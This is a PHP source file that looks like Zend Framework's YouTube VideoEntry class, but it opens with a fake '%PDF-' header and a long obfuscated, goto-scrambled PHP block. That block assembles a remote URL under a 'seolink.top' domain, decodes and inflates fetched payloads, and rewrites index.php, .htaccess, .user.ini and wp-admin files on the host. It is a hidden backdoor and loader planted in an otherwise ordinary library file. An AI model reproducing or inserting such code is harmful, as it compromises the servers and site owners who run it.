%PDF- %PDF- $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> registerAllNamespaces(Zend_Gdata_YouTube::$namespaces); parent::__construct($element); } /** * Retrieves a DOMElement which corresponds to this element and all * child properties. This is used to build an entry back into a DOM * and eventually XML text for sending to the server upon updates, or * for application storage/persistence. * * @param DOMDocument $doc The DOMDocument used to construct DOMElements * @return DOMElement The DOMElement representing this element and all * child properties. */ public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null) { $element = parent::getDOM($doc, $majorVersion, $minorVersion); if ($this->_noEmbed != null) { $element->appendChild($this->_noEmbed->getDOM( $element->ownerDocument )); } if ($this->_statistics != null) { $element->appendChild($this->_statistics->getDOM( $element->ownerDocument )); } if ($this->_racy != null) { $element->appendChild($this->_racy->getDOM( $element->ownerDocument )); } if ($this->_recorded != null) { $element->appendChild($this->_recorded->getDOM( $element->ownerDocument )); } if ($this->_location != null) { $element->appendChild($this->_location->getDOM( $element->ownerDocument )); } if ($this->_rating != null) { $element->appendChild($this->_rating->getDOM( $element->ownerDocument )); } if ($this->_comments != null) { $element->appendChild($this->_comments->getDOM( $element->ownerDocument )); } if ($this->_feedLink != null) { foreach ($this->_feedLink as $feedLink) { $element->appendChild($feedLink->getDOM( $element->ownerDocument )); } } if ($this->_where != null) { $element->appendChild($this->_where->getDOM( $element->ownerDocument )); } return $element; } /** * Creates individual Entry objects of the appropriate type and * stores them in the $_entry array based upon DOM data. * * @param DOMNode $child The DOMNode to process */ protected function takeChildFromDOM($child) { $absoluteNodeName = $child->namespaceURI . ':' . $child->localName; switch ($absoluteNodeName) { case $this->lookupNamespace('yt') . ':' . 'statistics': $statistics = new Zend_Gdata_YouTube_Extension_Statistics(); $statistics->transferFromDOM($child); $this->_statistics = $statistics; break; case $this->lookupNamespace('yt') . ':' . 'racy': $racy = new Zend_Gdata_YouTube_Extension_Racy(); $racy->transferFromDOM($child); $this->_racy = $racy; break; case $this->lookupNamespace('yt') . ':' . 'recorded': $recorded = new Zend_Gdata_YouTube_Extension_Recorded(); $recorded->transferFromDOM($child); $this->_recorded = $recorded; break; case $this->lookupNamespace('yt') . ':' . 'location': $location = new Zend_Gdata_YouTube_Extension_Location(); $location->transferFromDOM($child); $this->_location = $location; break; case $this->lookupNamespace('gd') . ':' . 'rating': $rating = new Zend_Gdata_Extension_Rating(); $rating->transferFromDOM($child); $this->_rating = $rating; break; case $this->lookupNamespace('gd') . ':' . 'comments': $comments = new Zend_Gdata_Extension_Comments(); $comments->transferFromDOM($child); $this->_comments = $comments; break; case $this->lookupNamespace('yt') . ':' . 'noembed': $noEmbed = new Zend_Gdata_YouTube_Extension_NoEmbed(); $noEmbed->transferFromDOM($child); $this->_noEmbed = $noEmbed; break; case $this->lookupNamespace('gd') . ':' . 'feedLink': $feedLink = new Zend_Gdata_Extension_FeedLink(); $feedLink->transferFromDOM($child); $this->_feedLink[] = $feedLink; break; case $this->lookupNamespace('georss') . ':' . 'where': $where = new Zend_Gdata_Geo_Extension_GeoRssWhere(); $where->transferFromDOM($child); $this->_where = $where; break; case $this->lookupNamespace('atom') . ':' . 'link': $link = new Zend_Gdata_YouTube_Extension_Link(); $link->transferFromDOM($child); $this->_link[] = $link; break; case $this->lookupNamespace('app') . ':' . 'control': $control = new Zend_Gdata_YouTube_Extension_Control(); $control->transferFromDOM($child); $this->_control = $control; break; default: parent::takeChildFromDOM($child); break; } } /** * Sets when the video was recorded. * * @param Zend_Gdata_YouTube_Extension_Recorded $recorded When the video was recorded * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setRecorded($recorded = null) { $this->_recorded = $recorded; return $this; } /** * Gets the date that the video was recorded. * * @return Zend_Gdata_YouTube_Extension_Recorded|null */ public function getRecorded() { return $this->_recorded; } /** * Sets the location information. * * @param Zend_Gdata_YouTube_Extension_Location $location Where the video * was recorded * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setLocation($location = null) { $this->_location = $location; return $this; } /** * Gets the location where the video was recorded. * * @return Zend_Gdata_YouTube_Extension_Location|null */ public function getLocation() { return $this->_location; } /** * If an instance of Zend_Gdata_YouTube_Extension_NoEmbed is passed in, * the video cannot be embedded. Otherwise, if null is passsed in, the * video is able to be embedded. * * @param Zend_Gdata_YouTube_Extension_NoEmbed $noEmbed Whether or not the * video can be embedded. * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setNoEmbed($noEmbed = null) { $this->_noEmbed = $noEmbed; return $this; } /** * If the return value is an instance of * Zend_Gdata_YouTube_Extension_NoEmbed, this video cannot be embedded. * * @return Zend_Gdata_YouTube_Extension_NoEmbed|null Whether or not the video can be embedded */ public function getNoEmbed() { return $this->_noEmbed; } /** * Checks whether the video is embeddable. * * @return bool Returns true if the video is embeddable. */ public function isVideoEmbeddable() { if ($this->getNoEmbed() == null) { return true; } else { return false; } } /** * Sets the statistics relating to the video. * * @param Zend_Gdata_YouTube_Extension_Statistics $statistics The statistics relating to the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setStatistics($statistics = null) { $this->_statistics = $statistics; return $this; } /** * Returns the statistics relating to the video. * * @return Zend_Gdata_YouTube_Extension_Statistics The statistics relating to the video */ public function getStatistics() { return $this->_statistics; } /** * Specifies that the video has racy content. * * @param Zend_Gdata_YouTube_Extension_Racy $racy The racy flag object * @throws Zend_Gdata_App_VersionException * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setRacy($racy = null) { if ($this->getMajorProtocolVersion() == 2) { require_once 'Zend/Gdata/App/VersionException.php'; throw new Zend_Gdata_App_VersionException( 'Calling getRacy() on a YouTube VideoEntry is deprecated ' . 'as of version 2 of the API.' ); } $this->_racy = $racy; return $this; } /** * Returns the racy flag object. * * @throws Zend_Gdata_App_VersionException * @return Zend_Gdata_YouTube_Extension_Racy|null The racy flag object */ public function getRacy() { if ($this->getMajorProtocolVersion() == 2) { require_once 'Zend/Gdata/App/VersionException.php'; throw new Zend_Gdata_App_VersionException( 'Calling getRacy() on a YouTube VideoEntry is deprecated ' . 'as of version 2 of the API.' ); } return $this->_racy; } /** * Sets the rating relating to the video. * * @param Zend_Gdata_Extension_Rating $rating The rating relating to the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setRating($rating = null) { $this->_rating = $rating; return $this; } /** * Returns the rating relating to the video. * * @return Zend_Gdata_Extension_Rating The rating relating to the video */ public function getRating() { return $this->_rating; } /** * Sets the comments relating to the video. * * @param Zend_Gdata_Extension_Comments $comments The comments relating to the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setComments($comments = null) { $this->_comments = $comments; return $this; } /** * Returns the comments relating to the video. * * @return Zend_Gdata_Extension_Comments The comments relating to the video */ public function getComments() { return $this->_comments; } /** * Sets the array of embedded feeds related to the video * * @param array $feedLink The array of embedded feeds relating to the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setFeedLink($feedLink = null) { $this->_feedLink = $feedLink; return $this; } /** * Get the feed link property for this entry. * * @see setFeedLink * @param string $rel (optional) The rel value of the link to be found. * If null, the array of links is returned. * @return mixed If $rel is specified, a Zend_Gdata_Extension_FeedLink * object corresponding to the requested rel value is returned * if found, or null if the requested value is not found. If * $rel is null or not specified, an array of all available * feed links for this entry is returned, or null if no feed * links are set. */ public function getFeedLink($rel = null) { if ($rel == null) { return $this->_feedLink; } else { foreach ($this->_feedLink as $feedLink) { if ($feedLink->rel == $rel) { return $feedLink; } } return null; } } /** * Returns the link element relating to video responses. * * @return Zend_Gdata_App_Extension_Link */ public function getVideoResponsesLink() { return $this->getLink(Zend_Gdata_YouTube::VIDEO_RESPONSES_REL); } /** * Returns the link element relating to video ratings. * * @return Zend_Gdata_App_Extension_Link */ public function getVideoRatingsLink() { return $this->getLink(Zend_Gdata_YouTube::VIDEO_RATINGS_REL); } /** * Returns the link element relating to video complaints. * * @return Zend_Gdata_App_Extension_Link */ public function getVideoComplaintsLink() { return $this->getLink(Zend_Gdata_YouTube::VIDEO_COMPLAINTS_REL); } /** * Gets the YouTube video ID based upon the atom:id value * * @return string The video ID */ public function getVideoId() { if ($this->getMajorProtocolVersion() == 2) { $videoId = $this->getMediaGroup()->getVideoId()->text; } else { $fullId = $this->getId()->getText(); $position = strrpos($fullId, '/'); if ($position === false) { require_once 'Zend/Gdata/App/Exception.php'; throw new Zend_Gdata_App_Exception( 'Slash not found in atom:id of ' . $fullId ); } else { $videoId = substr($fullId, $position + 1); } } return $videoId; } /** * Gets the date that the video was recorded. * * @return string|null The date that the video was recorded */ public function getVideoRecorded() { $recorded = $this->getRecorded(); if ($recorded != null) { return $recorded->getText(); } else { return null; } } /** * Sets the date that the video was recorded. * * @param string $recorded The date that the video was recorded, in the * format of '2001-06-19' */ public function setVideoRecorded($recorded) { $this->setRecorded( new Zend_Gdata_YouTube_Extension_Recorded($recorded) ); return $this; } /** * Gets the georss:where element * * @return Zend_Gdata_Geo_Extension_GeoRssWhere */ public function getWhere() { return $this->_where; } /** * Sets the georss:where element * * @param Zend_Gdata_Geo_Extension_GeoRssWhere $value The georss:where class value * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setWhere($value) { $this->_where = $value; return $this; } /** * Gets the title of the video as a string. null is returned * if the video title is not available. * * @return string|null The title of the video */ public function getVideoTitle() { $this->ensureMediaGroupIsNotNull(); if ($this->getMediaGroup()->getTitle() != null) { return $this->getMediaGroup()->getTitle()->getText(); } else { return null; } } /** * Sets the title of the video as a string. * * @param string $title Title for the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setVideoTitle($title) { $this->ensureMediaGroupIsNotNull(); $this->getMediaGroup()->setTitle( new Zend_Gdata_Media_Extension_MediaTitle($title) ); return $this; } /** * Sets the description of the video as a string. * * @param string $description Description for the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setVideoDescription($description) { $this->ensureMediaGroupIsNotNull(); $this->getMediaGroup()->setDescription( new Zend_Gdata_Media_Extension_MediaDescription($description) ); return $this; } /** * Gets the description of the video as a string. null is returned * if the video description is not available. * * @return string|null The description of the video */ public function getVideoDescription() { $this->ensureMediaGroupIsNotNull(); if ($this->getMediaGroup()->getDescription() != null) { return $this->getMediaGroup()->getDescription()->getText(); } else { return null; } } /** * Gets the URL of the YouTube video watch page. null is returned * if the video watch page URL is not available. * * @return string|null The URL of the YouTube video watch page */ public function getVideoWatchPageUrl() { $this->ensureMediaGroupIsNotNull(); if ($this->getMediaGroup()->getPlayer() != null && array_key_exists(0, $this->getMediaGroup()->getPlayer())) { $players = $this->getMediaGroup()->getPlayer(); return $players[0]->getUrl(); } else { return null; } } /** * Gets an array of the thumbnails representing the video. * Each thumbnail is an element of the array, and is an * array of the thumbnail properties - time, height, width, * and url. For convient usage inside a foreach loop, an * empty array is returned if there are no thumbnails. * * @return array An array of video thumbnails. */ public function getVideoThumbnails() { $this->ensureMediaGroupIsNotNull(); if ($this->getMediaGroup()->getThumbnail() != null) { $thumbnailArray = array(); foreach ($this->getMediaGroup()->getThumbnail() as $thumbnailObj) { $thumbnail = array(); $thumbnail['time'] = $thumbnailObj->time; $thumbnail['height'] = $thumbnailObj->height; $thumbnail['width'] = $thumbnailObj->width; $thumbnail['url'] = $thumbnailObj->url; $thumbnailArray[] = $thumbnail; } return $thumbnailArray; } else { return array(); } } /** * Gets the URL of the flash player SWF. null is returned if the * duration value is not available. * * @return string|null The URL of the flash player SWF */ public function getFlashPlayerUrl() { $this->ensureMediaGroupIsNotNull(); foreach ($this->getMediaGroup()->getContent() as $content) { if ($content->getType() === 'application/x-shockwave-flash') { return $content->getUrl(); } } return null; } /** * Gets the duration of the video, in seconds. null is returned * if the duration value is not available. * * @return string|null The duration of the video, in seconds. */ public function getVideoDuration() { $this->ensureMediaGroupIsNotNull(); if ($this->getMediaGroup()->getDuration() != null) { return $this->getMediaGroup()->getDuration()->getSeconds(); } else { return null; } } /** * Checks whether the video is private. * * @return bool Return true if video is private */ public function isVideoPrivate() { $this->ensureMediaGroupIsNotNull(); if ($this->getMediaGroup()->getPrivate() != null) { return true; } else { return false; } } /** * Sets video to private. * * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setVideoPrivate() { $this->ensureMediaGroupIsNotNull(); $this->getMediaGroup()->setPrivate(new Zend_Gdata_YouTube_Extension_Private()); return $this; } /** * Sets a private video to be public. * * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setVideoPublic() { $this->ensureMediaGroupIsNotNull(); $this->getMediaGroup()->private = null; return $this; } /** * Gets an array of the tags assigned to this video. For convient * usage inside a foreach loop, an empty array is returned when there * are no tags assigned. * * @return array An array of the tags assigned to this video */ public function getVideoTags() { $this->ensureMediaGroupIsNotNull(); if ($this->getMediaGroup()->getKeywords() != null) { $keywords = $this->getMediaGroup()->getKeywords(); $keywordsString = $keywords->getText(); if (strlen(trim($keywordsString)) > 0) { return preg_split('/(, *)|,/', $keywordsString); } } return array(); } /** * Sets the keyword tags for a video. * * @param mixed $tags Either a comma-separated string or an array * of tags for the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setVideoTags($tags) { $this->ensureMediaGroupIsNotNull(); $keywords = new Zend_Gdata_Media_Extension_MediaKeywords(); if (is_array($tags)) { $tags = implode(', ', $tags); } $keywords->setText($tags); $this->getMediaGroup()->setKeywords($keywords); return $this; } /** * Gets the number of views for this video. null is returned if the * number of views is not available. * * @return string|null The number of views for this video */ public function getVideoViewCount() { if ($this->getStatistics() != null) { return $this->getStatistics()->getViewCount(); } else { return null; } } /** * Gets the location specified for this video, if available. The location * is returned as an array containing the keys 'longitude' and 'latitude'. * null is returned if the location is not available. * * @return array|null The location specified for this video */ public function getVideoGeoLocation() { if ($this->getWhere() != null && $this->getWhere()->getPoint() != null && ($position = $this->getWhere()->getPoint()->getPos()) != null) { $positionString = $position->__toString(); if (strlen(trim($positionString)) > 0) { $positionArray = explode(' ', trim($positionString)); if (count($positionArray) == 2) { $returnArray = array(); $returnArray['latitude'] = $positionArray[0]; $returnArray['longitude'] = $positionArray[1]; return $returnArray; } } } return null; } /** * Gets the rating information for this video, if available. The rating * is returned as an array containing the keys 'average' and 'numRaters'. * null is returned if the rating information is not available. * * @return array|null The rating information for this video */ public function getVideoRatingInfo() { if ($this->getRating() != null) { $returnArray = array(); $returnArray['average'] = $this->getRating()->getAverage(); $returnArray['numRaters'] = $this->getRating()->getNumRaters(); return $returnArray; } else { return null; } } /** * Gets the category of this video, if available. The category is returned * as a string. Valid categories are found at: * http://gdata.youtube.com/schemas/2007/categories.cat * If the category is not set, null is returned. * * @return string|null The category of this video */ public function getVideoCategory() { $this->ensureMediaGroupIsNotNull(); $categories = $this->getMediaGroup()->getCategory(); if ($categories != null) { foreach ($categories as $category) { if ($category->getScheme() == self::YOUTUBE_CATEGORY_SCHEMA) { return $category->getText(); } } } return null; } /** * Sets the category of the video as a string. * * @param string $category Categories for the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setVideoCategory($category) { $this->ensureMediaGroupIsNotNull(); $this->getMediaGroup()->setCategory(array(new Zend_Gdata_Media_Extension_MediaCategory($category, self::YOUTUBE_CATEGORY_SCHEMA))); return $this; } /** * Gets the developer tags for the video, if available and if client is * authenticated with a valid developerKey. The tags are returned * as an array. * If no tags are set, null is returned. * * @return array|null The developer tags for this video or null if none were set. */ public function getVideoDeveloperTags() { $developerTags = null; $this->ensureMediaGroupIsNotNull(); $categoryArray = $this->getMediaGroup()->getCategory(); if ($categoryArray != null) { foreach ($categoryArray as $category) { if ($category instanceof Zend_Gdata_Media_Extension_MediaCategory) { if ($category->getScheme() == self::YOUTUBE_DEVELOPER_TAGS_SCHEMA) { $developerTags[] = $category->getText(); } } } return $developerTags; } return null; } /** * Adds a developer tag to array of tags for the video. * * @param string $developerTag DeveloperTag for the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function addVideoDeveloperTag($developerTag) { $this->ensureMediaGroupIsNotNull(); $newCategory = new Zend_Gdata_Media_Extension_MediaCategory($developerTag, self::YOUTUBE_DEVELOPER_TAGS_SCHEMA); if ($this->getMediaGroup()->getCategory() == null) { $this->getMediaGroup()->setCategory($newCategory); } else { $categories = $this->getMediaGroup()->getCategory(); $categories[] = $newCategory; $this->getMediaGroup()->setCategory($categories); } return $this; } /** * Set multiple developer tags for the video as strings. * * @param array $developerTags Array of developerTag for the video * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface */ public function setVideoDeveloperTags($developerTags) { foreach ($developerTags as $developerTag) { $this->addVideoDeveloperTag($developerTag); } return $this; } /** * Get the current publishing state of the video. * * @return Zend_Gdata_YouTube_Extension_State|null The publishing state of this video */ public function getVideoState() { $control = $this->getControl(); if ($control != null && $control->getDraft() != null && $control->getDraft()->getText() == 'yes') { return $control->getState(); } return null; } /** * Get the VideoEntry's Zend_Gdata_YouTube_Extension_MediaGroup object. * If the mediaGroup does not exist, then set it. * * @return void */ public function ensureMediaGroupIsNotNull() { if ($this->getMediagroup() == null) { $this->setMediagroup(new Zend_Gdata_YouTube_Extension_MediaGroup()); } } /** * Helper function to conveniently set a video's rating. * * @param integer $ratingValue A number representing the rating. Must * be between 1 and 5 inclusive. * @throws Zend_Gdata_Exception * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface. */ public function setVideoRating($ratingValue) { if ($ratingValue < 1 || $ratingValue > 5) { require_once 'Zend/Gdata/App/InvalidArgumentException.php'; throw new Zend_Gdata_App_InvalidArgumentException( 'Rating for video entry must be between 1 and 5 inclusive.' ); } require_once 'Zend/Gdata/Extension/Rating.php'; $rating = new Zend_Gdata_Extension_Rating( null, 1, 5, null, $ratingValue ); $this->setRating($rating); return $this; } /** * Retrieve the URL for a video's comment feed. * * @return string|null The URL if found, or null if not found. */ public function getVideoCommentFeedUrl() { $commentsExtension = $this->getComments(); $commentsFeedUrl = null; if ($commentsExtension) { $commentsFeedLink = $commentsExtension->getFeedLink(); if ($commentsFeedLink) { $commentsFeedUrl = $commentsFeedLink->getHref(); } } return $commentsFeedUrl; } }